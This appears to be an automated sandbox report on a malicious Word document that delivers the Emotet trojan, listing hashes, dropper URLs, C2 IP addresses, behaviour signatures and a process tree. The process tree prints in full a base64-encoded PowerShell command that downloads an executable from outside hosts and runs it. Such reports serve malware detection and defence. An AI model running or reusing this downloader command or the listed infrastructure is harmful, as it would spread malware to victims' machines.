Analysis

  • max time kernel
    144s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    07-08-2020 07:06

General

  • Target

    FILE_X583677.doc

  • Size

    169KB

  • MD5

    9bcd7831593b18eb2fc20abb950776e0

  • SHA1

    94fce0e45271cd1dc5ff594f886146c88b5bdf75

  • SHA256

    2e480d827237d7ae78d5b296e18e6a0cd466c5f3e09abf96f8bb53d927c4bab8

  • SHA512

    ce5e923278b315e334274b0b1f9434aaa2851135fb0fb4f147b8e123da1f595e50a70fc47079f8f3c8c5c6a43f9b5b04a5dbf799f29491bb73d716304892dfdc

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://sampling-group.com/J0Eubtq06/

exe.dropper

http://www.weddingsday.co.uk/docs/1oYncTNHDu/

exe.dropper

http://sasystemsuk.com/recruit/sl979/

exe.dropper

http://wellparts.net/cgi-bin/qAj081/

exe.dropper

http://volkanakbalik.com/_inc/2W/

Extracted

Family

emotet

C2

82.76.111.249:443

116.125.120.88:443

217.160.182.191:8080

189.1.185.98:8080

189.194.58.119:80

213.181.91.224:80

219.92.13.25:80

190.6.193.152:8080

61.92.159.208:8080

209.236.123.42:8080

12.162.84.2:8080

190.147.137.153:443

104.131.103.37:8080

212.231.60.98:80

202.62.39.111:80

82.240.207.95:443

170.81.48.2:80

177.74.228.34:80

82.196.15.205:8080

114.109.179.60:80

rsa_pubkey.plain

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Modifies registry class 280 IoCs
  • Drops file in System32 directory 2 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FILE_X583677.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:1448
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABHAEQAWgBBAFoAeABwAGgAPQAnAFAATABKAFMAUQBtAGIAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAHUAUgBpAHQAWQBQAGAAUgBvAHQAbwBjAGAATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQATgBXAEIATABGAHoAcgBnACAAPQAgACcAOAA0ADgAJwA7ACQAWgBFAEgARwBMAHQAbAB3AD0AJwBSAEsAWQBBAEkAeAB5AHcAJwA7ACQAWgBVAEMASwBYAGQAaQBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABOAFcAQgBMAEYAegByAGcAKwAnAC4AZQB4AGUAJwA7ACQAWgBWAEYAVQBRAHoAdAB1AD0AJwBWAEYATwBKAEsAZABhAGcAJwA7ACQARABZAFQAVgBNAHMAdQBxAD0AJgAoACcAbgBlAHcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABpAGUAbgBUADsAJABKAEMASwBQAFEAegB6AHMAPQAnAGgAdAB0AHAAOgAvAC8AcwBhAG0AcABsAGkAbgBnAC0AZwByAG8AdQBwAC4AYwBvAG0ALwBKADAARQB1AGIAdABxADAANgAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHcAZQBkAGQAaQBuAGcAcwBkAGEAeQAuAGMAbwAuAHUAawAvAGQAbwBjAHMALwAxAG8AWQBuAGMAVABOAEgARAB1AC8AKgBoAHQAdABwADoALwAvAHMAYQBzAHkAcwB0AGUAbQBzAHUAawAuAGMAbwBtAC8AcgBlAGMAcgB1AGkAdAAvAHMAbAA5ADcAOQAvACoAaAB0AHQAcAA6AC8ALwB3AGUAbABsAHAAYQByAHQAcwAuAG4AZQB0AC8AYwBnAGkALQBiAGkAbgAvAHEAQQBqADAAOAAxAC8AKgBoAHQAdABwADoALwAvAHYAbwBsAGsAYQBuAGEAawBiAGEAbABpAGsALgBjAG8AbQAvAF8AaQBuAGMALwAyAFcALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFkAVwBPAEgATgBiAHYAcAA9ACcAUgBLAEIAVQBTAHEAagB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJABDAFAAWABSAE8AYQBlAHoAIABpAG4AIAAkAEoAQwBLAFAAUQB6AHoAcwApAHsAdAByAHkAewAkAEQAWQBUAFYATQBzAHUAcQAuACIAZABPAGAAdwBOAEwATwBhAGAAZABGAEkATABFACIAKAAkAEMAUABYAFIATwBhAGUAegAsACAAJABaAFUAQwBLAFgAZABpAGYAKQA7ACQATABFAE8ASQBOAHEAdgBxAD0AJwBGAEgAWgBWAFoAYgBhAHoAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABaAFUAQwBLAFgAZABpAGYAKQAuACIAbABFAG4ARwBgAFQAaAAiACAALQBnAGUAIAAzADkAOQA1ADYAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGUAYABBAHQARQAiACgAJABaAFUAQwBLAFgAZABpAGYAKQA7ACQAUwBIAEQAWQBBAGYAYgBqAD0AJwBBAE4AWABaAE8AYwBvAGIAJwA7AGIAcgBlAGEAawA7ACQAUQBJAFgATABYAGsAcQBoAD0AJwBXAEwAWgBVAFMAcQBnAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQBHAE8AQwBNAGgAegBwAD0AJwBIAEkATABTAEwAegBxAGoAJwA=
    1⤵
    • Drops file in System32 directory
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:1828
  • C:\Users\Admin\848.exe
    C:\Users\Admin\848.exe
    1⤵
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    PID:1796
    • C:\Windows\SysWOW64\regapi\vdmdbg.exe
      "C:\Windows\SysWOW64\regapi\vdmdbg.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:1588

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\848.exe
  • C:\Users\Admin\848.exe
  • C:\Windows\SysWOW64\regapi\vdmdbg.exe
  • memory/1448-6-0x000000000BC10000-0x000000000BC14000-memory.dmp
    Filesize

    16KB

  • memory/1448-5-0x000000000AB90000-0x000000000AB94000-memory.dmp
    Filesize

    16KB

  • memory/1448-3-0x0000000006F50000-0x0000000007150000-memory.dmp
    Filesize

    2.0MB

  • memory/1448-2-0x0000000008B20000-0x0000000008B24000-memory.dmp
    Filesize

    16KB

  • memory/1448-4-0x0000000006F50000-0x0000000007150000-memory.dmp
    Filesize

    2.0MB

  • memory/1588-19-0x0000000000380000-0x000000000038C000-memory.dmp
    Filesize

    48KB

  • memory/1588-17-0x0000000000000000-mapping.dmp
  • memory/1796-15-0x00000000003B0000-0x00000000003BC000-memory.dmp
    Filesize

    48KB

  • memory/1828-9-0x000000001ABA0000-0x000000001ABA1000-memory.dmp
    Filesize

    4KB

  • memory/1828-13-0x000000001AA80000-0x000000001AA81000-memory.dmp
    Filesize

    4KB

  • memory/1828-12-0x000000001B600000-0x000000001B601000-memory.dmp
    Filesize

    4KB

  • memory/1828-11-0x0000000002300000-0x0000000002301000-memory.dmp
    Filesize

    4KB

  • memory/1828-10-0x00000000022D0000-0x00000000022D1000-memory.dmp
    Filesize

    4KB

  • memory/1828-8-0x0000000001D60000-0x0000000001D61000-memory.dmp
    Filesize

    4KB

  • memory/1828-7-0x000007FEF2090000-0x000007FEF2A7C000-memory.dmp
    Filesize

    9.9MB

  • memory/2004-20-0x000007FEF27B0000-0x000007FEF2A2A000-memory.dmp
    Filesize

    2.5MB